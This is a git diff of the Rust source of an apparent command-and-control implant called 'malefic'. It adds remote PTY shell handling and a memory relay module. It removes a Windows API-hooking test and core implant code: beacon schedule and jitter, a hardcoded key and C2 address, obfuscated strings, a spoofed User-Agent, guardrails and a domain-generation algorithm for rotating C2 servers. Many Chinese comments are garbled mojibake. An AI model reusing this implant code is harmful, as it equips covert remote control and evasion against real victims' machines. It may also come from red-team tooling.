&input_data); } - // 移除输入回显 - let cleaned_output = Self::remove_input_echo(&output_data, &input_data); - - let output_text = String::from_utf8_lossy(&cleaned_output).to_string(); - let (output_text, prompt) = Self::remove_trailing_prompt(&output_text); + let mut output_text = String::from_utf8_lossy(&cleaned_output).to_string(); + let mut prompt = None; + if detect_prompt { + let (cleaned_text, detected_prompt) = Self::remove_trailing_prompt(&output_text); + output_text = cleaned_text; + prompt = detected_prompt; + } let mut metadata = HashMap::new(); if let Some(p) = prompt { metadata.insert("prompt".to_string(), p); } + if collect_result.truncated { + metadata.insert("truncated".to_string(), "true".to_string()); + } - Self::success_response(id, session_id, output_text, true, metadata) + let mut session_active = true; + if collect_result.closed { + metadata.insert("closed".to_string(), "true".to_string()); + session_active = false; + Self::terminate_and_remove_session(session_id); + } + + Self::success_response( + id, + session_id, + cleaned_output, + output_text, + session_active, + metadata, + ) } async fn resize_session(&mut self, id: u32, request: &PtyRequest) -> ModuleResult { @@ -434,13 +1023,59 @@ impl Pty { return Self::error_response(id, "", "Missing session_id parameter".to_string(), false); } + let session = match Self::get_session_handles(session_id) { + Ok(session) => session, + Err(error) => return Self::error_response(id, session_id, error, false), + }; + + let _busy_guard = match Self::acquire_session_busy(&session) { + Ok(guard) => guard, + Err(error) => { + return Self::error_response(id, session_id, error, false); + } + }; + let cols = if request.cols > 0 { request.cols } else { 80 }; let rows = if request.rows > 0 { request.rows } else { 24 }; - // TODO: 实现实际的resize逻辑 - Self::success_response(id, session_id, - format!("Resize request: {}x{} (implementation needed)", cols, rows), - true, HashMap::new()) + let resize_result = if let Ok(master_guard) = session.master.try_lock() { + master_guard.resize(PtySize { + rows: rows as u16, + cols: cols as u16, + pixel_width: 0, + pixel_height: 0, + }) + } else { + return Self::error_response( + id, + session_id, + "Failed to acquire PTY master for resize".to_string(), + false, + ); + }; + + if let Err(error) = resize_result { + return Self::error_response( + id, + session_id, + format!("Failed to resize PTY: {}", error), + true, + ); + } + + let mut metadata = HashMap::new(); + metadata.insert("cols".to_string(), cols.to_string()); + metadata.insert("rows".to_string(), rows.to_string()); + + let message = format!("Resized PTY session to {}x{}", cols, rows); + Self::success_response( + id, + session_id, + message.as_bytes().to_vec(), + message, + true, + metadata, + ) } async fn stop_session(&mut self, id: u32, request: &PtyRequest) -> ModuleResult { @@ -449,25 +1084,25 @@ impl Pty { return Self::error_response(id, "", "Missing session_id parameter".to_string(), false); } - let _removed = { - let mut sessions = PTY_SESSIONS.lock().unwrap(); - if let Some(session) = sessions.get(session_id) { - // æ ‡è®°ä¸ºéžæ´»è·ƒ - if let Ok(mut active) = session.active.try_lock() { - *active = false; - } - - // 终止å­è¿›ç¨‹ - if let Ok(mut child_guard) = session.child.try_lock() { - if let Ok(None) = child_guard.try_wait() { - let _ = child_guard.kill(); - } - } - } - sessions.remove(session_id).is_some() - }; + let removed = Self::terminate_and_remove_session(session_id); + if !removed { + return Self::error_response( + id, + session_id, + format!("PTY session {} does not exist", session_id), + false, + ); + } - Self::success_response(id, session_id, "Session exited".to_string(), false, HashMap::new()) + let message = "Session exited".to_string(); + Self::success_response( + id, + session_id, + message.as_bytes().to_vec(), + message, + false, + HashMap::new(), + ) } async fn list_sessions(&mut self, id: u32) -> ModuleResult { @@ -480,7 +1115,9 @@ impl Pty { let mut active_list = Vec::new(); for (session_id, session) in sessions.iter() { - let is_active = session.active.try_lock() + let is_active = session + .active + .try_lock() .map(|guard| *guard) .unwrap_or(true); @@ -496,6 +1133,7 @@ impl Pty { let response = PtyResponse { session_id: String::new(), output_text: sessions_info, + output_data: Vec::new(), error: String::new(), session_active: true, active_sessions, @@ -504,3 +1142,41 @@ impl Pty { Ok(TaskResult::new_with_body(id, Body::PtyResponse(response))) } } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn parse_bool_param_should_work() { + let mut params = HashMap::new(); + params.insert("enabled".to_string(), "true".to_string()); + assert!(Pty::parse_bool_param(¶ms, "enabled", false)); + assert!(!Pty::parse_bool_param(¶ms, "missing", false)); + } + + #[test] + fn parse_u64_param_should_clamp() { + let mut params = HashMap::new(); + params.insert("timeout".to_string(), "1".to_string()); + assert_eq!(Pty::parse_u64_param(¶ms, "timeout", 100, 50, 200), 50); + + params.insert("timeout".to_string(), "300".to_string()); + assert_eq!(Pty::parse_u64_param(¶ms, "timeout", 100, 50, 200), 200); + } + + #[test] + fn remove_input_echo_should_strip_prefix() { + let input = b"whoami\n"; + let output = b"whoami\nuser\n"; + let cleaned = Pty::remove_input_echo(output, input); + assert_eq!(cleaned, b"user\n"); + } + + #[test] + fn special_key_detection_should_work() { + assert!(Pty::is_special_key(&[27, 91, 65])); + assert!(Pty::is_special_key(&[9])); + assert!(!Pty::is_special_key(b"dir\n")); + } +} diff --git a/malefic-3rd/src/rem/mod.rs b/malefic-3rd/src/rem/mod.rs index c3c1474..1b4d77e 100644 --- a/malefic-3rd/src/rem/mod.rs +++ b/malefic-3rd/src/rem/mod.rs @@ -1,17 +1,17 @@ +use crate::prelude::*; use async_trait::async_trait; use futures::SinkExt; -use malefic_helper::common::rem; use malefic_proto::proto::modulepb::{Block, Request, Response}; -use crate::prelude::*; +use malefic_rem as rem; // #[cfg(feature = "load_rem")] // pub struct LoadRem {} -// +// // #[cfg(feature = "load_rem")] // #[async_trait] // #[module_impl("load_rem")] // impl Module for LoadRem {} -// +// // #[cfg(feature = "load_rem")] // #[async_trait] // impl ModuleImpl for LoadRem { @@ -19,7 +19,7 @@ use crate::prelude::*; // let request = check_request!(receiver, Body::Request)?; // let bin = check_field!(request.bin)?; // to_error!(rem::RemReflection::load_rem(bin))?; -// +// // Ok(TaskResult::new_with_body( // id, // Body::Response(Response::default()), @@ -63,20 +63,20 @@ impl ModuleImpl for MemoryDial { async fn run(&mut self, id: u32, receiver: &mut Input, sender: &mut Output) -> ModuleResult { let request = check_request!(receiver, Body::Request)?; let Request { args, .. } = request; - + if args.len() != 2 { return Err(anyhow!("Need two arguments: memhandle and dst")); } let memhandle = &args[0]; let dst = &args[1]; - // 建立连接 + // Establish connection let handle = match rem::memory_dial(memhandle, dst) { Ok(h) => h, Err(e) => return Err(anyhow!(e)), }; - // å‘é€è¿žæŽ¥æˆåŠŸå“应 + // Send connection success response let response = Response { output: handle.to_string(), error: String::new(), @@ -87,21 +87,21 @@ impl ModuleImpl for MemoryDial { .send(TaskResult::new_with_body(id, Body::Response(response))) .await?; - let mut buffer = vec![0u8; 4096]; // é»˜è®¤ç¼“å†²åŒºå¤§å° + let mut buffer = vec![0u8; 4096]; // Default buffer size let mut seq = 0; loop { - // 等待命令 + // Wait for command let cmd = check_request!(receiver, Body::Block)?; if cmd.content.is_empty() { - // 如果content为空,表示需è¦è¯»å–æ•°æ® + // If content is empty, need to read data match rem::memory_read(handle, &mut buffer) { Ok(n) => { let block = Block { block_id: seq, content: buffer[..n].to_vec(), - end: n < buffer.len(), // 如果读å–的字节少于缓冲区大å°ï¼Œè¯´æ˜Žå·²ç»è¯»å®Œ + end: n < buffer.len(), // If bytes read is less than buffer size, reading is complete }; let _ = sender .send(TaskResult::new_with_body(id, Body::Block(block))) @@ -113,7 +113,7 @@ impl ModuleImpl for MemoryDial { } } } else { - // 如果contentä¸ä¸ºç©ºï¼Œè¡¨ç¤ºéœ€è¦å†™å…¥æ•°æ® + // If content is not empty, need to write data match rem::memory_write(handle, &cmd.content) { Ok(_) => { let _ = sender diff --git a/malefic-3rd/tests/test_hook.rs b/malefic-3rd/tests/test_hook.rs deleted file mode 100644 index e1c5acb..0000000 --- a/malefic-3rd/tests/test_hook.rs +++ /dev/null @@ -1,93 +0,0 @@ -#[cfg(test)] -mod hook_test { - use detour::RawDetour; - use std::{ffi::c_void, ptr}; - use std::ffi::CString; - use winapi::um::{ - libloaderapi::GetModuleHandleA, - libloaderapi::GetProcAddress, - winuser::MessageBoxA, - winnt::LPCSTR, - }; - - type FuncFn = unsafe extern "system" fn( - hwnd: *mut c_void, - text: LPCSTR, - caption: LPCSTR, - utype: u32, - ) -> i32; - - - static mut DETOUR: Option = None; - static mut ORIGINAL: Option = None; - - unsafe extern "system" fn replace_func( - hwnd: *mut c_void, - _text: LPCSTR, - _caption: LPCSTR, - utype: u32, - ) -> i32 { - // use std::ffi::CStr; - - // æ–°çš„æ¶ˆæ¯æ–‡æœ¬ - let new_text = b"Hooked by retour-rs!\0"; - let new_caption = b"Intercepted!\0"; - - // 调用原始函数 - let original = ORIGINAL.expect("Original function not set!"); - original(hwnd, new_text.as_ptr() as _, new_caption.as_ptr() as _, utype) - } - unsafe fn install_hook() { - // èŽ·å– user32.dll åŸºå€ - let u32 = CString::new("user32.dll").unwrap(); - let module_handle = GetModuleHandleA(u32.as_ptr()); - assert!(!module_handle.is_null(), "Failed to load user32.dll"); - - // èŽ·å– MessageBoxA çš„åœ°å€ - let target = GetProcAddress(module_handle, b"MessageBoxA\0".as_ptr() as _); - assert!(!target.is_null(), "Failed to find MessageBoxA"); - - println!("[*] MessageBoxA address = 0x{:X}", target as usize); - - // 创建 detour - let detour = RawDetour::new(target as *const (), replace_func as *const ()) - .expect("RawDetour failed to create"); - let trampoline = detour.trampoline(); - - // ä¿å­˜åŽŸå§‹å‡½æ•° - ORIGINAL = Some(std::mem::transmute(trampoline as *const ())); - - detour.enable().expect("Enable detour failed"); - DETOUR = Some(detour); - - println!("[+] Hook installed!"); - } - - unsafe fn uninstall_hook() { - if let Some(detour) = DETOUR.take() { - detour.disable().ok(); - println!("[-] Hook removed!"); - } - } - #[test] - fn test_hook() { - unsafe { - install_hook(); - MessageBoxA( - ptr::null_mut(), - b"Hello from Rust!\0".as_ptr() as _, - b"Original Title\0".as_ptr() as _, - 0, - ); - uninstall_hook(); - MessageBoxA( - ptr::null_mut(), - b"Hello from Rust!\0".as_ptr() as _, - b"Original Title\0".as_ptr() as _, - 0, - ); - } - } -} - - diff --git a/malefic-core/Cargo.toml b/malefic-core/Cargo.toml deleted file mode 100644 index 63f89f2..0000000 --- a/malefic-core/Cargo.toml +++ /dev/null @@ -1,60 +0,0 @@ -[package] -name = "malefic-core" -version = "0.1.1" -edition = "2021" - -[features] -default = ["tokio", "hot_load", "register_info", "transport_tcp"] -bind = [] -hot_load = [] -register_info = [] -async_scheduler = [] -# internal feature -tcp = [] -tls = ["async-tls", "rustls", "rustls-pemfile", "webpki-roots"] -mtls = ["tls"] -proxy = ["httparse","url"] -dga = ["chrono", "sha2"] -# export transport feature -transport_http = ["httparse", "tcp"] -transport_tcp = ["tcp"] -transport_rem = ["malefic-helper/rem_static"] - -[dependencies] -cfg-if = { workspace = true } -async-trait = { workspace = true } -async-net = "2.0.0" -futures = { workspace = true } -futures-timer = { workspace = true } -strum = { workspace = true } -strum_macros = { workspace = true } -lazy_static = { workspace = true } -anyhow = { workspace = true } -thiserror = { workspace = true } -obfstr = { workspace = true } - -# for dga,temp no optional -chrono = { workspace = true, optional = true } -sha2 = { workspace = true, optional = true } - -httparse = { version = "1.8", optional = true } - -# Runtime -async-std = { version = "1.13.0", features = ["unstable", "attributes"], optional = true } -tokio = { workspace = true, features = ["rt", "rt-multi-thread"], optional = true } -smol = { version = "2.0.2", optional = true } - -# tls -async-tls = { version = "0.12.0", optional = true } -rustls = { version = "0.20.6", features = ["dangerous_configuration"], optional = true } -rustls-pemfile = { version = "1.0.4", optional = true } -webpki-roots = { version = "0.22", optional = true } - -# proxy -url = { workspace = true, optional = true } - -malefic-helper = { path= "../malefic-helper", features = [ "default" ] } -malefic-proto = { path = "../malefic-proto" } -malefic-modules = { path = "../malefic-modules"} -malefic-3rd = { path = "../malefic-3rd" , optional = true} -base64 = { workspace = true } diff --git a/malefic-core/src/collector/mod.rs b/malefic-core/src/collector/mod.rs deleted file mode 100644 index 242cc90..0000000 --- a/malefic-core/src/collector/mod.rs +++ /dev/null @@ -1,68 +0,0 @@ -use futures::channel::mpsc::{self, UnboundedReceiver, UnboundedSender}; -use futures::{FutureExt, SinkExt, StreamExt}; -use malefic_proto::proto::implantpb::{Spite, Spites}; - -pub struct Collector { - request_sender: UnboundedSender, - request_receiver: UnboundedReceiver, - - response_sender: UnboundedSender, - - data_sender: UnboundedSender, - data_receiver: UnboundedReceiver, - - data: Vec, -} - -impl Collector { - pub fn new(response_sender: UnboundedSender) -> Self { - let (request_sender, request_receiver) = mpsc::unbounded(); - let (data_sender, data_receiver) = mpsc::unbounded(); - Collector { - request_sender, - request_receiver, - response_sender, - data_sender, - data_receiver, - data: Vec::new(), - } - } - - pub fn get_request_sender(&self) -> UnboundedSender { - self.request_sender.clone() - } - - pub fn get_data_sender(&self) -> UnboundedSender { - self.data_sender.clone() - } - - pub async fn run(&mut self) -> Result<(), ()> { - #[cfg(debug_assertions)] - let _defer = malefic_helper::Defer::new("[collector] collector exit!"); - - loop { - futures::select! { - _ = self.request_receiver.next().fuse() => { - let data = self.get_spites(); - let _ = self.response_sender.send(data).await; - }, - data = self.data_receiver.next().fuse() => match data { - None => { - continue; - }, - Some(data) => { - self.data.push(data); - } - } - } - } - } - - fn get_spites(&mut self) -> Spites { - let spites = Spites { - spites: self.data.to_vec(), - }; - self.data.clear(); - spites - } -} diff --git a/malefic-core/src/common/error.rs b/malefic-core/src/common/error.rs deleted file mode 100644 index 771bac1..0000000 --- a/malefic-core/src/common/error.rs +++ /dev/null @@ -1,61 +0,0 @@ -use thiserror::Error; -use malefic_proto::module::TaskError; - -#[derive(Error, Debug)] -pub enum MaleficError { - #[error(transparent)] - Panic(#[from] anyhow::Error), - - #[error("")] - UnpackError, - - #[error("")] - MissBody, - - #[error("")] - UnExceptBody, - - #[error("")] - ModuleError, - - #[error("")] - ModuleNotFound, - - #[error[""]] - AddonNotFound, - - #[error("Task error: {0}")] - TaskError(#[from] TaskError), - - #[cfg(any(feature = "transport_http",feature = "transport_tcp",feature = "transport_rem",))] - #[error("Transport: {0}")] - TransportError(#[from] crate::transport::TransportError), - - #[error("")] - TaskNotFound, - - #[error("")] - TaskOperatorNotFound -} - -impl MaleficError { - pub fn id(&self) -> u32 { - match self { - MaleficError::Panic { .. } => 1, - MaleficError::UnpackError => 2, - MaleficError::MissBody => 3, - MaleficError::ModuleError => 4, - MaleficError::ModuleNotFound => 5, - MaleficError::TaskError { .. } => 6, - MaleficError::TaskNotFound => 7, - MaleficError::TaskOperatorNotFound => 8, - MaleficError::AddonNotFound => 9, - MaleficError::UnExceptBody => 10, - #[cfg(any(feature = "transport_http",feature = "transport_tcp",feature = "transport_rem",))] - MaleficError::TransportError{ .. } => 11, - } - } -} - - - diff --git a/malefic-core/src/common/mod.rs b/malefic-core/src/common/mod.rs deleted file mode 100644 index 9b6d162..0000000 --- a/malefic-core/src/common/mod.rs +++ /dev/null @@ -1,83 +0,0 @@ -pub mod sys; -pub mod error; - -use std::sync::{Arc, Mutex}; -#[cfg(feature = "async-std")] -pub use async_std::task::spawn; -#[cfg(feature = "smol")] -pub use smol::spawn; -#[cfg(feature = "tokio")] -pub use tokio::task::spawn; - -#[cfg(feature = "async-std")] -pub use async_std::task::spawn_blocking; -#[cfg(feature = "smol")] -pub use smol::unblock as spawn_blocking; -#[cfg(feature = "tokio")] -pub use tokio::task::spawn_blocking; - -#[cfg(feature = "async-std")] -use async_std::task::JoinHandle as Handle; -#[cfg(feature = "smol")] -use smol::Task as Handle; -#[cfg(feature = "tokio")] -use tokio::task::JoinHandle as Handle; - -#[async_trait::async_trait] -pub trait CancellableHandle { - fn cancel(&self); -} - -#[cfg(feature = "async-std")] -impl CancellableHandle for Arc>>> { - fn cancel(&self) { - if let Ok(mut handle) = self.lock() { - if let Some(h) = handle.take() { - h.cancel(); - } - } - } -} - -#[cfg(feature = "smol")] -impl CancellableHandle for Arc>>> { - fn cancel(&self) { - if let Ok(mut handle) = self.lock() { - if let Some(h) = handle.take() { - h.cancel(); - } - } - } -} - -#[cfg(feature = "tokio")] -impl CancellableHandle for Arc>>> { - fn cancel(&self) { - if let Ok(mut handle) = self.lock() { - if let Some(h) = handle.take() { - h.abort(); - } - } - } -} - -#[cfg(feature = "async-std")] -pub type RuntimeHandle = Arc>>>; -#[cfg(feature = "smol")] -pub type RuntimeHandle = Arc>>>; -#[cfg(feature = "tokio")] -pub type RuntimeHandle = Arc>>>; - -#[macro_export] -macro_rules! check_body { - ($field:expr, $variant:path) => {{ - if $field.body.is_none() { - Err(MaleficError::MissBody) - } else { - match $field.body { - Some($variant(inner_body)) => Ok(inner_body), - _ => Err(MaleficError::UnExceptBody), - } - } - }}; -} \ No newline at end of file diff --git a/malefic-core/src/common/sys.rs b/malefic-core/src/common/sys.rs deleted file mode 100644 index 3687a36..0000000 --- a/malefic-core/src/common/sys.rs +++ /dev/null @@ -1,91 +0,0 @@ - -use malefic_proto::proto::modulepb::{SysInfo, Os, Process}; - - -pub fn get_os() -> Option { - let info = malefic_helper::common::sysinfo::default_os().unwrap(); - Some(Os { - name: info.name, - version: info.version, - release: info.release, - arch: info.arch, - username: info.username, - hostname: info.hostname, - locale: info.locale, - clr_version: info.clr_version, - }) -} - -pub fn get_sysinfo() -> Option { - let info = malefic_helper::common::sysinfo::get_sysinfo(); - let os = info.os?; - let process = info.process?; - Some(SysInfo { - filepath: info.filepath, - workdir: info.workdir, - is_privilege: info.is_privilege, - os: Some(Os { - name: os.name, - version: os.version, - release: os.release, - arch: os.arch, - username: os.username, - hostname: os.hostname, - locale: os.locale, - clr_version: os.clr_version, - }), - process: Some(Process { - name: process.name, - pid: process.pid, - ppid: process.ppid, - arch: process.arch, - owner: process.owner, - path: process.path, - args: process.args, - uid: "".to_string(), - }) - }) -} - -pub fn none_sysinfo() -> Option { - - Some(SysInfo { - filepath: "unknown".to_string(), - workdir: "".to_string(), - is_privilege: false, - os: Some(Os { - name: "unknown".to_string(), - version: "unknown".to_string(), - release: "unknown".to_string(), - arch: "unknown".to_string(), - username: "unknown".to_string(), - hostname: "unknown".to_string(), - locale: "unknown".to_string(), - clr_version: vec![], - }), - process: Some(Process { - name: "unknown".to_string(), - pid: 9999, - ppid: 9999, - arch: "unknown".to_string(), - owner: "unknown".to_string(), - path: "unknown".to_string(), - args: "unknown".to_string(), - uid: "".to_string(), - }) - }) -} - -pub fn get_register_info() -> Option { - if cfg!(feature = "register_info") { - get_sysinfo() - } else { - none_sysinfo() - } -} - - -#[cfg(not(feature = "register_info"))] -pub fn get_register_info() -> Option { - None -} \ No newline at end of file diff --git a/malefic-core/src/config/config.rs b/malefic-core/src/config/config.rs deleted file mode 100644 index a37026f..0000000 --- a/malefic-core/src/config/config.rs +++ /dev/null @@ -1,197 +0,0 @@ -use std::collections::HashMap; -use obfstr::obfstr; -// ============= 统一é…置结构体 ============= -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct ServerConfig { - pub address: String, - pub protocol: ProtocolType, - pub transport_config: TransportConfig, - pub tls_config: Option, - pub proxy_config: Option, - pub domain_suffix: Option, -} - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone, PartialEq)] -pub enum ProtocolType { - Tcp, - Http, - REM -} - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub enum TransportConfig { - Tcp(TcpConfig), - Http(HttpRequestConfig), - Rem(RemConfig), -} - -// ============= TCPé…置结构体 ============= - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct TcpConfig { - // TCP特有的é…ç½®å¯ä»¥åœ¨è¿™é‡Œæ·»åŠ  - // pub socket_options: Option, -} - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct SocketOptions { - pub nodelay: bool, - pub reuse_addr: bool, - pub send_buffer_size: Option, - pub recv_buffer_size: Option, -} - -// ============= HTTPé…置结构体 ============= - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct HttpRequestConfig { - pub method: String, - pub path: String, - pub version: String, - pub headers: HashMap, // åŒ…å«æ‰€æœ‰HTTP头部 -} - -// ============= REMé…置结构体 ============= - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct RemConfig { - pub link: String, -} - - -// ============= 通用é…置结构体 ============= - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct MTLSConfig { - /// å¯ç”¨mTLS - pub enable: bool, - pub client_cert: Vec, - pub client_key: Vec, - pub server_ca: Vec, -} - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct TlsConfig { - pub enable: bool, - pub version: String, - pub sni: String, - pub skip_verification: bool, - pub mtls_config: Option -} - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct ProxyConfig { - pub proxy_type: String, - pub host: String, - pub port: u16, - pub username: String, - pub password: String, -} - -// ============= Guardrailé…置结构体 ============= - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct GuardrailConfig { - pub ip_addresses: Vec, - pub usernames: Vec, - pub server_names: Vec, - pub domains: Vec, - pub require_all: bool, -} - -// ============= 实现方法 ============= - -// impl Default for TcpConfig { -// fn default() -> Self { -// Self { -// } -// } -// } - -impl HttpRequestConfig { - pub fn new(method: &str, path: &str, version: &str) -> Self { - let mut headers = HashMap::new(); - headers.insert(obfstr!("Connection").to_string(), obfstr!("close").to_string()); - headers.insert(obfstr!("User-Agent").to_string(), obfstr!("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36").to_string()); - headers.insert(obfstr!("Content-Type").to_string(), obfstr!("application/octet-stream").to_string()); - - Self { - method: method.to_string(), - path: path.to_string(), - version: version.to_string(), - headers, - } - } - - pub fn with_header(mut self, key: &str, value: &str) -> Self { - self.headers.insert(key.to_string(), value.to_string()); - self - } - - pub fn build_request(&self, content_length: usize) -> String { - let mut request = format!("{} {} HTTP/{}\r\n", - self.method, self.path, self.version); - - if content_length > 0 { - request.push_str(&format!("{}: {}\r\n", obfstr!("Content-Length"), content_length)); - } - - for (key, value) in &self.headers { - request.push_str(&format!("{}: {}\r\n", key, value)); - } - - request.push_str("\r\n"); - request - } -} - -impl ServerConfig { - /// æ£€æŸ¥æ˜¯å¦æ”¯æŒDGA - pub fn supports_dga(&self) -> bool { - self.domain_suffix.is_some() - } - - /// 获å–域ååŽç¼€ - pub fn get_domain_suffix(&self) -> Option<&String> { - self.domain_suffix.as_ref() - } - - /// æ£€æŸ¥åœ°å€æ˜¯å¦ä¸ºIPåœ°å€ - pub fn is_ip_address(&self) -> bool { - if let Some(colon_pos) = self.address.rfind(':') { - let host = &self.address[..colon_pos]; - host.parse::().is_ok() - } else { - self.address.parse::().is_ok() - } - } - - /// 获å–主机地å€ï¼ˆä¸åŒ…å«ç«¯å£ï¼‰ - pub fn get_host(&self) -> String { - if let Some(colon_pos) = self.address.rfind(':') { - self.address[..colon_pos].to_string() - } else { - self.address.clone() - } - } - - /// 获å–ç«¯å£ - pub fn get_port(&self) -> String { - if let Some(colon_pos) = self.address.rfind(':') { - self.address[colon_pos..].to_string() - } else { - obfstr!(":443").to_string() - } - } -} diff --git a/malefic-core/src/config/mod.rs b/malefic-core/src/config/mod.rs deleted file mode 100644 index fa2abc8..0000000 --- a/malefic-core/src/config/mod.rs +++ /dev/null @@ -1,70 +0,0 @@ -mod config; - -use std::collections::HashMap; -pub use config::{ - ServerConfig, - ProtocolType, - TransportConfig, - // TCP - TcpConfig, - SocketOptions, - // HTTP - HttpRequestConfig, - // REM - RemConfig, - // TLS - TlsConfig, - ProxyConfig, - // Guardrail - GuardrailConfig, -}; -use lazy_static::lazy_static; - -lazy_static! { - // 基础é…ç½® - pub static ref CRON: String = obfstr::obfstr!("*/1 * * * * * *").to_string(); - pub static ref JITTER: f64 = 0.2f64; - pub static ref NAME: String = obfstr::obfstr!("malefic").to_string(); - // 加密é…ç½® - pub static ref KEY: Vec = obfstr::obfstr!("maliceofinternal").into(); - // æœåС噍容错é…ç½® - pub static ref GLOBAL_RETRY: u32 = 1000000; // 已注册情况下的全局é‡è¯•次数 - pub static ref SERVER_RETRY: u32 = 10; // å•个æœåŠ¡å™¨æœ€å¤§é‡è¯•次数 - pub static ref USE_ENV_PROXY: bool = false; - pub static ref PROXY_URL: String = obfstr::obfstr!("").to_string(); - pub static ref PROXY_SCHEME: String = obfstr::obfstr!("").to_string(); - pub static ref PROXY_HOST: String = obfstr::obfstr!("").to_string(); - pub static ref PROXY_PORT: String = obfstr::obfstr!("").to_string(); - pub static ref PROXY_USERNAME: String = obfstr::obfstr!("").to_string(); - pub static ref PROXY_PASSWORD: String = obfstr::obfstr!("").to_string(); - // DGAé…置(已ç¦ç”¨ï¼‰ - pub static ref DGA_ENABLE: bool = false; - pub static ref DGA_KEY: String = String::new(); - pub static ref DGA_INTERVAL_HOURS: u32 = 2; - - pub static ref GUARDRAIL_CONFIG: GuardrailConfig = GuardrailConfig { - ip_addresses: vec![], - usernames: vec![], - server_names: vec![], - domains: vec![], - require_all: true, - }; - - // 多æœåС噍é…ç½® - 使用Vecä¿æŒé…ç½®é¡ºåº - pub static ref SERVER_CONFIGS: Vec = { - let mut configs = Vec::new(); - configs.push( - ServerConfig { - address: obfstr::obfstr!("127.0.0.1:5001").to_string(), - protocol: ProtocolType::Tcp, - transport_config: TransportConfig::Tcp(TcpConfig {}), - tls_config: None, - proxy_config: None, - domain_suffix: None, - } - ); - - configs - }; - -} diff --git a/malefic-core/src/dga/generator.rs b/malefic-core/src/dga/generator.rs deleted file mode 100644 index d92ac5d..0000000 --- a/malefic-core/src/dga/generator.rs +++ /dev/null @@ -1,114 +0,0 @@ -use super::{DgaAlgorithm, DgaDomain, DgaError}; -use crate::config::ServerConfig; -use malefic_helper::debug; - -/// DGA生æˆå™¨ï¼ˆæ— ç¼“存,实时生æˆï¼‰ -#[cfg_attr(debug_assertions, derive(Debug))] -pub struct DgaGenerator { - algorithm: DgaAlgorithm, - template_configs: Vec, -} - -impl DgaGenerator { - /// 从æœåС噍é…置创建DGA生æˆå™¨ - pub fn from_server_configs( - server_configs: Vec, - ) -> Result { - if server_configs.is_empty() { - return Err(DgaError::NoDomains); - } - - let dga_key = crate::config::DGA_KEY.clone(); - let interval_hours = crate::config::DGA_INTERVAL_HOURS.clone(); - - // 从æœåС噍é…置中æå–域ååŽç¼€ - let domains: Vec = server_configs.iter() - .filter_map(|config| config.get_domain_suffix().map(|s| s.clone())) - .collect(); - - if domains.is_empty() { - return Err(DgaError::NoDomains); - } - - debug!("[dga] Using domain suffixes from server configs: {:?}", domains); - - let algorithm = DgaAlgorithm::new(dga_key, interval_hours, domains); - - Ok(Self { - algorithm, - template_configs: server_configs, - }) - } - - pub fn generate_new_server(&self) -> Vec { - let dgas = self.algorithm.generate(); - let mut server_configs = Vec::new(); - // 生æˆserver_configs - for dga in dgas { - let template = self.find_template_for_domain(&dga.suffix).unwrap(); - let config = self.create_server_config(&dga, template); - server_configs.push(config); - } - - server_configs - } - - /// æ ¹æ®åŸŸååŽç¼€æ‰¾åˆ°å¯¹åº”的模æ¿é…ç½® - fn find_template_for_domain(&self, suffix: &str) -> Option<&ServerConfig> { - self.template_configs.iter().find(|config| { - config.get_domain_suffix() - .map(|s| s == suffix) - .unwrap_or(false) - }) - } - - /// 创建DGAæœåС噍é…置(é‡ç‚¹å¤„ç†SNI动æ€å˜åŒ–) - fn create_server_config(&self, domain: &DgaDomain, template: &ServerConfig) -> ServerConfig { - let mut config = template.clone(); - - // æå–ç«¯å£ - let port = if let Some(colon_pos) = template.address.rfind(':') { - &template.address[colon_pos..] - } else { - ":443" - }; - - // 设置DGA域ååœ°å€ - config.address = format!("{}{}", domain.domain, port); - - // åŠ¨æ€æ›´æ–°TLS SNI - if let Some(ref mut tls_config) = config.tls_config { - // SNI更新策略: - // 1. 如果原SNI为空,使用DGA域å - // 2. 如果原SNI等于原域ååŽç¼€ï¼Œä½¿ç”¨DGA域å - // 3. 如果原SNIæ˜¯è‡ªå®šä¹‰çš„ï¼Œä¿æŒä¸å˜ - let should_update_sni = tls_config.sni.is_empty() || - tls_config.sni == domain.suffix || - tls_config.sni == template.address.split(':').next().unwrap_or(""); - - if should_update_sni { - tls_config.sni = domain.domain.clone(); - debug!("[dga] Updated SNI: {} -> {}", - template.address, tls_config.sni); - } else { - debug!("[dga] Keeping custom SNI: {}", tls_config.sni); - } - } - - // æ›´æ–°HTTP Host头 有问题 - if let crate::config::TransportConfig::Http(ref mut http_config) = config.transport_config { - // Host头总是使用DGA域å - http_config.headers.insert("Host".to_string(), domain.domain.clone()); - debug!("[dga] Updated HTTP Host header: {}", domain.domain); - } - - debug!("[dga] Created config: {} -> {} (SNI: {}, time window: {})", - template.address, - config.address, - config.tls_config.as_ref().map(|t| &t.sni).unwrap_or(&"none".to_string()), - domain.seed); - - config - } - -} diff --git a/malefic-core/src/lib.rs b/malefic-core/src/lib.rs deleted file mode 100644 index 5a7e699..0000000 --- a/malefic-core/src/lib.rs +++ /dev/null @@ -1,17 +0,0 @@ -#![feature(associated_type_defaults)] -#![feature(return_position_impl_trait_in_trait)] -#![feature(type_alias_impl_trait)] -#![feature(async_fn_in_trait)] -#![feature(stmt_expr_attributes)] -#![feature(io_error_more)] - -pub mod common; -#[cfg(feature = "async_scheduler")] -pub mod scheduler; -#[cfg(any(feature = "transport_http",feature = "transport_tcp",feature = "transport_rem",))] -pub mod transport; -pub mod manager; -pub mod config; -pub mod collector; -#[cfg(feature = "dga")] -pub mod dga; diff --git a/malefic-core/src/manager/manager.rs b/malefic-core/src/manager/manager.rs deleted file mode 100644 index d90d449..0000000 --- a/malefic-core/src/manager/manager.rs +++ /dev/null @@ -1,149 +0,0 @@ -#![allow(improper_ctypes_definitions)] -use std::collections::HashMap; - -use malefic_proto::new_spite; -use 